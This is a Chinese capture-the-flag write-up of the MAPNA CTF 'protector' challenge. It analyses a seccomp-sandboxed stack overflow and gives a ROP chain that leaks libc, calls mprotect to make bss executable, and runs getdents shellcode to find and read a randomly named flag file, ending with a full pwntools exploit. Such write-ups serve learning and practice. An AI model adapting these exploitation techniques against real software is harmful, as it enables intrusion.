2024-mapna ctf -protector 前言 小组任务,复现了国际赛mapna CTF的protector,一个有点难度的栈溢出ORW
分析 保护分析 1 2 3 4 5 6 [*] '/home/coke/桌面/CTFrecurrent/protector/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
只开启了堆栈不可执行
代码分析 main函数如下
1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[32 ]; disable_io_buffering(); printf ("Input: " ); init_sandbox(); read(0 , buf, 152uLL ); return 0 ; }
disable_io_buffering函数
1 2 3 4 5 6 void disable_io_buffering () { setbuf(stdin , 0LL ); setbuf(_bss_start, 0LL ); setbuf(stderr , 0LL ); }
init_sandbox函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 __int64 init_sandbox () { __int64 result; __int64 v1; v1 = seccomp_init(0LL ); if ( !v1 ) __assert_fail("ctx != NULL" , "code.c" , 9u , "init_sandbox" ); if ( (unsigned int )seccomp_rule_add(v1, 2147418112LL , 2LL , 0LL ) ) __assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0) == 0" , "code.c" , 0xA u, "init_sandbox" ); if ( (unsigned int )seccomp_rule_add(v1, 2147418112LL , 3LL , 0LL ) ) __assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0) == 0" , "code.c" , 0xB u, "init_sandbox" ); if ( (unsigned int )seccomp_rule_add(v1, 2147418112LL , 0LL , 0LL ) ) __assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) == 0" , "code.c" , 0xC u, "init_sandbox" ); if ( (unsigned int )seccomp_rule_add(v1, 2147418112LL , 1LL , 0LL ) ) __assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0) == 0" , "code.c" , 0xD u, "init_sandbox" ); if ( (unsigned int )seccomp_rule_add(v1, 2147418112LL , 10LL , 0LL ) ) __assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect), 0) == 0" , "code.c" , 0xE u, "init_sandbox" ); if ( (unsigned int )seccomp_rule_add(v1, 2147418112LL , 78LL , 0LL ) ) __assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getdents), 0) == 0" , "code.c" , 0xF u, "init_sandbox" ); if ( (unsigned int )seccomp_rule_add(v1, 2147418112LL , 231LL , 0LL ) ) __assert_fail( "seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0) == 0" , "code.c" , 0x10 u, "init_sandbox" ); result = seccomp_load(v1); if ( (_DWORD)result ) __assert_fail("seccomp_load(ctx) == 0" , "code.c" , 0x11 u, "init_sandbox" ); return result; }
检查沙箱
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 coke@coke:~/桌面/CTFrecurrent/protector$ seccomp-tools dump ./chall Input: line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013 0005: 0x15 0x06 0x00 0x00000000 if (A == read ) goto 0012 0006: 0x15 0x05 0x00 0x00000001 if (A == write) goto 0012 0007: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0012 0008: 0x15 0x03 0x00 0x00000003 if (A == close) goto 0012 0009: 0x15 0x02 0x00 0x0000000a if (A == mprotect) goto 0012 0010: 0x15 0x01 0x00 0x0000004e if (A == getdents) goto 0012 0011: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0013 0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0013: 0x06 0x00 0x00 0x00000000 return KILL
还存在一个flag随机写的情况,flag文件的名字也不知道
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def get_random_name (): n = random.randint(MIN_NAME_LENGTH, MAX_NAME_LENGTH) return "" .join(random.choice(string.ascii_letters + string.digits) for i in range (n)) def generate_files (): files = [get_random_name() for i in range (FILES_COUNT)] real_flag_file = random.choice(files) for filepath in files: if filepath == real_flag_file: continue with open (filepath, "w" ) as f: pass with open (real_flag_file, "w" ) as f: f.write(flag)
总结 一个开启沙箱的栈溢出,只能使用READ,WRITE,OPEN,CLOSE函数,还有一些函数下面简单介绍一下
getdents
:用于遍历目录的,可能是用于绕过flag文件名未知的情况。
mprotect
:修改指定地址的权限的,可以用来绕过NX保护
exit_group
: Linux 系统所独有的系统调用 ,调用后会使得进程的所有线程都退出,这个函数无法使用,不知是为了限制什么。
而且在初始化的时候,将bss段的缓冲区设置为了不缓冲,所以对应的标准输出的缓冲区设置就没了
1 setbuf(_bss_start, 0LL );
利用思路 有ORW,就往BSS段写入ORW的汇编代码,然后ROP设置bss段为可执行后,跳转过去就行,但是在执行的时候需要先知道文件的名称,需要用到getdents
系统调用,然后遍历一遍flag文件即可
首先泄露libc地址
然后往bss段写代码
最后设置bss段为可执行
最后执行代码需要实现遍历打印maze目录
泄露libc地址 题目提供了控制rdi,rsi,rdx的gadget,还是很贴心的,直接打印出printf函数的地址,然后往bss段写入数据再栈迁移过去
1 2 3 4 5 6 7 8 9 10 11 12 13 rdi_rsi_rdx = 0x00000000004014d9 ret = 0x000000000040101a leave = 0x00000000401525 buf = elf.bss() + 0x300 pl = 32 *b"A" pl += p64(buf) + p64(ret) pl += p64(rdi_rsi_rdx) + p64(elf.got['printf' ]) + p64(0 )*2 + p64(elf.sym['printf' ]) pl += p64(rdi_rsi_rdx) + p64(0 ) + p64(buf) + p64(0x1000 ) + p64(elf.sym['read' ]) + p64(leave) sa(b'Input: ' , pl) libc_base = u64(r(6 ).ljust(8 , b'\x00' )) - libc.sym['printf' ] li("libc_base ------------------> 0x%x" %libc_base) mprotect = libc_base + libc.sym['mprotect' ]
设置bss段为可执行 我们使用mprotect系统调用实现该操作,首先我们了解一下mprotect函数的原型
1 int mprotect (void *addr, size_t len, int prot) ;
addr
:指向要更改保护属性的内存区域的起始地址。这个地址必须是内存页大小的倍数(通常是 4096 字节)。
len
:要更改保护属性的内存区域的长度。这个长度会向上取整到内存页大小的倍数。
prot
:新的保护属性。可以是以下值的组合:
PROT_NONE
:内存不可访问。0
PROT_READ
:内存可读。1
PROT_WRITE
:内存可写。2
PROT_EXEC
:内存可执行。4
通过上面原型我们可以知道,我们只需要执行mprotect(bss_buf,0x3000,7)
即可,这里的7是指111,也就是可读可写可执行。
转化为对应ROP即可
1 2 3 4 5 6 7 8 rax = libc_base + 0x0000000000045eb0 jmp_rax = 0x000000000040116c db() pl = p64(0 ) pl += p64(rdi_rsi_rdx) + p64(0x404000 ) + p64(0x3000 ) + p64(7 ) + p64(mprotect) pl += p64(rax) li("pl_lenth--------------->0x%x" %(len (pl))) pl += p64(buf +len (pl)+16 ) + p64(jmp_rax)
实现对目录的遍历读取 这里给出了getdents
系统调用,于是我们还是先看看他的原型是什么
这里给出了一个用该系统调用来进行遍历的读取条目的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/syscall.h> #include <dirent.h> #define BUF_SIZE 1024 struct linux_dirent { unsigned long d_ino; unsigned long d_off; unsigned short d_reclen; char d_name[]; }; int main () { int fd; int nread; char buf[BUF_SIZE]; struct linux_dirent *d ; int bpos; char d_type; fd = open("." , O_RDONLY | O_DIRECTORY); if (fd == -1 ) { perror("open" ); return 1 ; } for ( ; ; ) { nread = syscall(SYS_getdents, fd, buf, BUF_SIZE); if (nread == -1 ) { perror("getdents" ); return 1 ; } if (nread == 0 ) break ; for (bpos = 0 ; bpos < nread;) { d = (struct linux_dirent *) (buf + bpos); printf ("d_name: %s\n" , d->d_name); bpos += d->d_reclen; } } close(fd); return 0 ; }
测试后,成功打印出了文件名
![image-20240716165415903](/picture/2024-mapna ctf -protector/image-20240716165415903.png)
也就是说,我们先打开这个文件夹后,再调用该系统调用即可往一个buf输入数据
1 nread = syscall(SYS_getdents, fd, buf, BUF_SIZE);
参数顺序为:文件夹的指针
,缓冲区
,缓冲区大小
转换为对应的ROP
1 2 maze = libc_base + 0x21c000 sc = shellcraft.open ('./maze' ) + shellcraft.getdents(3 , maze, 0x10000 )
就这样简单两条命令即可,这里用的buf是libc的bss段,也可以用文件的heap,或者其他没有使用的可以写的段就行。
实现遍历文件orw 虽然我们获得了文件名,但是buf里面存储的是一个结构体,所以我们需要找到对应的偏移才能找到文件名,要实现遍历文件orw这点很重要。
1 2 3 4 5 6 struct linux_dirent { unsigned long d_ino; unsigned long d_off; unsigned short d_reclen; char d_name[]; };
根据结构体的定义,大概的POC模板如下
1 2 3 4 5 6 7 8 9 10 for (bpos = 0 ; bpos < nread;) { d = (struct linux_dirent *) (buf + bpos); file =d->d_name; bpos += d->d_reclen; fd1=open(file,O_RDONLY | O_DIRECTORY); if (read(fd1,buffer,0x30 )>0 ) { write(1 ,buffer,0x30 ); } }
然后定位一下buf和nread的值在什么寄存器上面即可
![image-20240716174141781](/picture/2024-mapna ctf -protector/image-20240716174141781.png)
发现buf
在RSI寄存器里面,RAX保存了nread
的大小,R12保存了栈的数据,因为我们栈迁移了,所以需要回滚到前面的栈去
然后我们可以使用R8充当bpos
,R11充当d
,现在就是找到d_name
,d_reclen
对应的偏移即可,d_reclen Offset 为16
,d_name Offset为18
,所以我们就可以开始写汇编了,但是有个问题就是:
我们可以看到我们在这里面对bpos,d,file进行更改了,需要拿3寄存器保存,而且在调用函数的时候需要用到rsi,rdi,rdx
,RSI保存了buf的数据,于是我们需要拿一个寄存器存储,RAX存放了nread的值,于是我们需要拿一个寄存器保存,于是我们需要用到5个寄存器用来保存buf,nread
,bpos,d,file
,然后实现即可
实现的时候遇到了问题,发现直接用返回的文件名是打不开的,于是我们要在前面加上路径,直接把./maze
复制到文件名前面即可
最开始我还以为是文件描述符不够的问题,还加了个close函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 sc += ''' mov rsp, r12; mov r10, rsi; /*r10 =buf*/ xor r10, r10; mov [rsp], r10; /*ecover rsp to stack and mov 0 to [rsp] ,*/ mov R9,0x2f657a616d2f2e00; mov r13, r10; mov r14, r10; mov r15, r10; mov r10,rsi; mov r12, rax; chioce: cmp r13,r12; JNAE orw; ret; orw: add r10,r13; mov r14,r10; sub r10,r13; add r14,0x12; mov r15,r14; mov r8,[r14-2] and r8, 0xffff; add r13,r8; mov rdi,r15; sub rdi,8; mov [rdi],R9; add rdi,1; mov rax, 2; xor rsi, rsi; xor rdx, rdx; syscall; push rax; push rax; pop rdi; mov rsi, 0x404090; mov rdx, 0x50; mov eax, 0; syscall; cmp rax,10; JNLE win; pop rdi; mov rax,3; syscall; jmp chioce; win: mov rdi, 1; mov rax, 1; syscall; ret; '''
EXP 最后就是总的EXP了,我这里直接贴上,这是可以直接跑的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 from pwn import *import osimport syscontext.os = 'linux' context.terminal = ['tmux' , 'splitw' , '-h' ] LOCAL = 0 LIBC = 1 REMOTE = 0 elf_path = './chall' libc_path = './libc.so.6' code = ELF(elf_path) context.arch=code.arch r = lambda x: io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends=True ) ru = lambda x: io.recvuntil(x, drop=True ) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() uu32 = lambda : u32(io.recvuntil("\xf7" ,drop=False )[-4 :].ljust(4 , b"\x00" )) uu64 = lambda :u64(io.recvuntil("\x7f" ,drop=False )[-6 :].ljust(8 , b"\x00" )) lg = lambda s:io.success('\033[32m%s -> 0x%x\033[0m' % (s, eval (s))) li = lambda x: log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' ) if len (sys.argv) == 1 : print ("Welcome to c0ke's simplified pwntools template!!!" ) print ("Usage : \n" ) print (" python mode.py HOST PORT\n " ) print (" python mode.py [0/1][debug]]\n " ) exit() elif len (sys.argv)==2 : context.log_level = 'debug' if (sys.argv[1 ]== '1' ): LOCAL = 1 else : LOCAL = 0 else : REMOTE = 1 server_ip = sys.argv[1 ] server_port = int (sys.argv[2 ]) def db (): if (LOCAL): gdb.attach(io,''' b main finish ni ni ni ni ni ni b *0x4043f8 c b *0x404423 c ''' )def find_libc (func_name,func_ad ): p(func_name,func_ad) global libc libc = LibcSearcher(func_name,func_ad) libcbase=func_ad-libc.dump(func_name) li('libcbase' ,libcbase) return libcbase def cat_flag (): flag_header = b'flag{' sleep(1 ) sl('cat flag' ) ru(flag_header) flag = flag_header + ru('}' ) + b'}' exit(0 ) def exploit (): li('exploit...' ) context.log_level = 'debug' rdi_rsi_rdx = 0x00000000004014d9 ret = 0x000000000040101a leave = 0x00000000401525 buf = elf.bss() + 0x300 pl = 32 *b"A" pl += p64(buf) + p64(ret) pl += p64(rdi_rsi_rdx) + p64(elf.got['printf' ]) + p64(0 )*2 + p64(elf.sym['printf' ]) pl += p64(rdi_rsi_rdx) + p64(0 ) + p64(buf) + p64(0x1000 ) + p64(elf.sym['read' ]) + p64(leave) sa(b'Input: ' , pl) libc_base = u64(r(6 ).ljust(8 , b'\x00' )) - libc.sym['printf' ] li("libc_base ------------------> 0x%x" %libc_base) mprotect = libc_base + libc.sym['mprotect' ] rax = libc_base + 0x0000000000045eb0 jmp_rax = 0x000000000040116c db() pl = p64(0 ) pl += p64(rdi_rsi_rdx) + p64(0x404000 ) + p64(0x3000 ) + p64(7 ) + p64(mprotect) pl += p64(rax) li("pl_lenth--------------->0x%x" %(len (pl))) pl += p64(buf +len (pl)+16 ) + p64(jmp_rax) maze = libc_base + 0x21c000 sc = shellcraft.open ('./maze' ) + shellcraft.getdents(3 , maze, 0x10000 ) sc += ''' mov rsp, r12; mov r10, rsi; /*r10 =buf*/ xor r10, r10; mov [rsp], r10; /*ecover rsp to stack and mov 0 to [rsp] ,*/ mov R9,0x2f657a616d2f2e00; mov r13, r10; mov r14, r10; mov r15, r10; mov r10,rsi; mov r12, rax; chioce: cmp r13,r12; JNAE orw; ret; orw: add r10,r13; mov r14,r10; sub r10,r13; add r14,0x12; mov r15,r14; mov r8,[r14-2] and r8, 0xffff; add r13,r8; mov rdi,r15; sub rdi,8; mov [rdi],R9; add rdi,1; mov rax, 2; xor rsi, rsi; xor rdx, rdx; syscall; push rax; push rax; pop rdi; mov rsi, 0x404090; mov rdx, 0x50; mov eax, 0; syscall; cmp rax,10; JNLE win; pop rdi; mov rax,3; syscall; jmp chioce; win: mov rdi, 1; mov rax, 1; syscall; ret; ''' pl += asm(sc) s(pl) flag=ra() li("flag---------------------> 0x%s" %flag) def finish (): ia() c() if __name__ == '__main__' : if REMOTE: io = remote(server_ip, server_port) if LIBC: libc = ELF(libc_path) elf = ELF(elf_path) else : elf = ELF(elf_path) if LIBC: libc = ELF(libc_path) io = elf.process() else : io = elf.process() exploit() finish()